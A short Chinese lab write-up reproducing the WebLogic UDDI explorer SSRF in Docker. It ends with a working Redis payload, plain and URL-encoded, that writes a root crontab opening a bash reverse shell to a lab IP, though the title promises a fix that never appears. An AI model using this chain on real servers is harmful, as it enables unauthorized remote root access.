weblogic中ssrf漏洞修复_Weblogic SSRF漏洞复现

一、使用docker搭建环境

访问7001端口

二、漏洞复现步骤

1、漏洞存在页面 /uddiexplorer/SearchPublicRegistries.jsp

2、检查一下IBM这个地方看看

发现是个连接，这就可能存在ssrf了

3、使用burp suite抓包，点击Search

4、修改operator参数的连接

5、访问结果

访问不存在的端口返回 could not connect over HTTP

访问存在的端口返回状态码

访问内网

利用redis反弹shell的payload

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.151/1234 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

url编码：test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.151%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa